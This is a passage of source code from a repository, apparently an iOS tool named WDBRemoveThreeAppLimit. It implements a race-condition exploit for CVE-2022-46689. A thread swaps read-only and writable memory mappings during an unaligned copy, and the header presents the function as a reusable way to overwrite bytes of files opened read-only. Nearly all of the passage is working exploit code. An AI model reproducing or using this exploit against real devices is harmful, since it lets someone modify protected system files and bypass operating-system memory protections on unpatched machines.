ro_addr, 154 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, 155 | &ctx->mem_entry_ro, 156 | MACH_PORT_NULL); 157 | T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); 158 | /* take read-only handle on that target memory */ 159 | mo_size = ctx->obj_size; 160 | kr = mach_make_memory_entry_64(mach_task_self(), 161 | &mo_size, 162 | ro_addr, 163 | MAP_MEM_VM_SHARE | VM_PROT_READ, 164 | &ctx->mem_entry_ro, 165 | MACH_PORT_NULL); 166 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); 167 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); 168 | /* make sure we can't map target memory as writable */ 169 | tmp_addr = 0; 170 | kr = vm_map(mach_task_self(), 171 | &tmp_addr, 172 | ctx->obj_size, 173 | 0, /* mask */ 174 | VM_FLAGS_ANYWHERE, 175 | ctx->mem_entry_ro, 176 | 0, 177 | FALSE, /* copy */ 178 | VM_PROT_READ, 179 | VM_PROT_READ | VM_PROT_WRITE, 180 | VM_INHERIT_DEFAULT); 181 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); 182 | tmp_addr = 0; 183 | kr = vm_map(mach_task_self(), 184 | &tmp_addr, 185 | ctx->obj_size, 186 | 0, /* mask */ 187 | VM_FLAGS_ANYWHERE, 188 | ctx->mem_entry_ro, 189 | 0, 190 | FALSE, /* copy */ 191 | VM_PROT_READ | VM_PROT_WRITE, 192 | VM_PROT_READ | VM_PROT_WRITE, 193 | VM_INHERIT_DEFAULT); 194 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); 195 | 196 | /* allocate a source buffer for the unaligned copy */ 197 | kr = vm_allocate(mach_task_self(), 198 | &e5, 199 | ctx->obj_size * 2, 200 | VM_FLAGS_ANYWHERE); 201 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); 202 | /* initialize to 'C' */ 203 | memset((char *)e5, 'C', ctx->obj_size * 2); 204 | 205 | char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); 206 | memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); 207 | 208 | int overwrite_first_diff_offset = -1; 209 | char overwrite_first_diff_value = 0; 210 | for (int off = 0; off < overwrite_length; off++) { 211 | if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { 212 | overwrite_first_diff_offset = off; 213 | overwrite_first_diff_value = ((char*)ro_addr)[off]; 214 | } 215 | } 216 | if (overwrite_first_diff_offset == -1) { 217 | fprintf(stderr, "no diff?\n"); 218 | return false; 219 | } 220 | 221 | /* 222 | * get a handle on some writable memory that will be temporarily 223 | * switched with the read-only mapping of our target memory to try 224 | * and trick copy_unaligned to write to our read-only target. 225 | */ 226 | tmp_addr = 0; 227 | kr = vm_allocate(mach_task_self(), 228 | &tmp_addr, 229 | ctx->obj_size, 230 | VM_FLAGS_ANYWHERE); 231 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); 232 | /* initialize to 'D' */ 233 | memset((char *)tmp_addr, 'D', ctx->obj_size); 234 | /* get a memory entry handle for that RW memory */ 235 | mo_size = ctx->obj_size; 236 | kr = mach_make_memory_entry_64(mach_task_self(), 237 | &mo_size, 238 | tmp_addr, 239 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, 240 | &ctx->mem_entry_rw, 241 | MACH_PORT_NULL); 242 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); 243 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); 244 | kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); 245 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); 246 | tmp_addr = 0; 247 | 248 | pthread_mutex_lock(&ctx->mtx); 249 | 250 | /* start racing thread */ 251 | ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); 252 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); 253 | 254 | /* wait for racing thread to be ready to run */ 255 | dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); 256 | 257 | duration = 10; /* 10 seconds */ 258 | T_LOG("Testing for %ld seconds...", duration); 259 | for (start = time(NULL), loops = 0; 260 | time(NULL) < start + duration; 261 | loops++) { 262 | /* reserve space for our 2 contiguous allocations */ 263 | e2 = 0; 264 | kr = vm_allocate(mach_task_self(), 265 | &e2, 266 | 2 * ctx->obj_size, 267 | VM_FLAGS_ANYWHERE); 268 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); 269 | 270 | /* make 1st allocation in our reserved space */ 271 | kr = vm_allocate(mach_task_self(), 272 | &e2, 273 | ctx->obj_size, 274 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); 275 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); 276 | /* initialize to 'B' */ 277 | memset((char *)e2, 'B', ctx->obj_size); 278 | 279 | /* map our read-only target memory right after */ 280 | ctx->e0 = e2 + ctx->obj_size; 281 | kr = vm_map(mach_task_self(), 282 | &ctx->e0, 283 | ctx->obj_size, 284 | 0, /* mask */ 285 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), 286 | ctx->mem_entry_ro, 287 | 0, 288 | FALSE, /* copy */ 289 | VM_PROT_READ, 290 | VM_PROT_READ, 291 | VM_INHERIT_DEFAULT); 292 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); 293 | 294 | /* let the racing thread go */ 295 | pthread_mutex_unlock(&ctx->mtx); 296 | /* wait a little bit */ 297 | usleep(100); 298 | 299 | /* trigger copy_unaligned while racing with other thread */ 300 | kr = vm_read_overwrite(mach_task_self(), 301 | e5, 302 | ctx->obj_size - 1 + overwrite_length, 303 | e2 + 1, 304 | &copied_size); 305 | T_QUIET; 306 | T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, 307 | "vm_read_overwrite kr %d", kr); 308 | switch (kr) { 309 | case KERN_SUCCESS: 310 | /* the target was RW */ 311 | kern_success++; 312 | break; 313 | case KERN_PROTECTION_FAILURE: 314 | /* the target was RO */ 315 | kern_protection_failure++; 316 | break; 317 | default: 318 | /* should not happen */ 319 | kern_other++; 320 | break; 321 | } 322 | /* check that our read-only memory was not modified */ 323 | #if 0 324 | T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); 325 | #endif 326 | bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; 327 | 328 | /* tell racing thread to stop toggling mappings */ 329 | pthread_mutex_lock(&ctx->mtx); 330 | 331 | /* clean up before next loop */ 332 | vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); 333 | ctx->e0 = 0; 334 | vm_deallocate(mach_task_self(), e2, ctx->obj_size); 335 | e2 = 0; 336 | if (!is_still_equal) { 337 | retval = true; 338 | fprintf(stderr, "RO mapping was modified\n"); 339 | break; 340 | } 341 | } 342 | 343 | ctx->done = true; 344 | pthread_mutex_unlock(&ctx->mtx); 345 | pthread_join(th, NULL); 346 | 347 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); 348 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); 349 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); 350 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); 351 | kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); 352 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); 353 | kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); 354 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); 355 | 356 | #if 0 357 | T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", 358 | kern_success, kern_protection_failure, kern_other); 359 | T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); 360 | #endif 361 | return retval; 362 | } 363 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/vm_unaligned_copy_switch_race.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | /// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`. 5 | /// `file_to_overwrite` should be a file descriptor opened with O_RDONLY. 6 | /// `overwrite_length` must be less than or equal to `PAGE_SIZE`. 7 | /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. 8 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); 9 | --------------------------------------------------------------------------------